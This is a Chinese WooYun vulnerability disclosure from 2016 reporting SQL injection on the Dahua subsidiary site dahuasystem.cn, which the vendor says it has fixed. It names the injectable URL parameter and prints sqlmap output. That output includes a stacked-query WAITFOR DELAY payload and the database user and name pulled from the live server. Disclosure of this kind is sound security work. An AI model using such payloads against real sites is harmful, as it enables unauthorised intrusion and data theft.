当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0214615

漏洞标题：大华子公司大华系统工程存在注入漏洞

相关厂商：dahuasystem.cn

漏洞作者： 路人甲

提交时间：2016-05-31 09:41

修复时间：2016-06-03 08:45

公开时间：2016-06-03 08:45

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-05-31： 细节已通知厂商并且等待厂商处理中
2016-06-03： 厂商已经确认，细节仅向厂商公开
2016-06-03： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

www.dahuasystem.cn
浙江大华系统工程有限公司是浙江大华技术股份有限公司的全资子公司，于2009年成立，公司始终专注于智能电网、平安城市、智能交通、数字矿山、智能建筑等服务领域，主要经营电子通讯产品、煤矿安全电子设备、防爆电器产品、电力系统自动化设备的开发、生产、安装与销售，至今已为全国1000多家单位提供了整体解决方案、规划及工程实施，成功部署国家电网公司、南方电网公司、世界最大水利工程三峡总公司、杭州平安城市等重大项目；为上海世博会、广东亚运会、深圳大运会等重大活动提供了有力保障。

详细说明：

注入点：

http://www.dahuasystem.cn:80/solutions.aspx?type=-1* (GET)

漏洞证明：

验证：

sqlmap identified the following injection point(s) with a total of 92 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: http://www.dahuasystem.cn:80/solutions.aspx?type=-1;WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005


--current-user

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: http://www.dahuasystem.cn:80/solutions.aspx?type=-1;WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current user:    'dhsys'


--current-db

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: http://www.dahuasystem.cn:80/solutions.aspx?type=-1;WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows
web application technology: ASP.NET, Nginx, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current database:    'dahuasystem'

修复方案：

过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-06-03 08:44

厂商回复：

漏洞已经明确并修复。感谢作者的反馈。

最新状态：

2016-06-03：已修复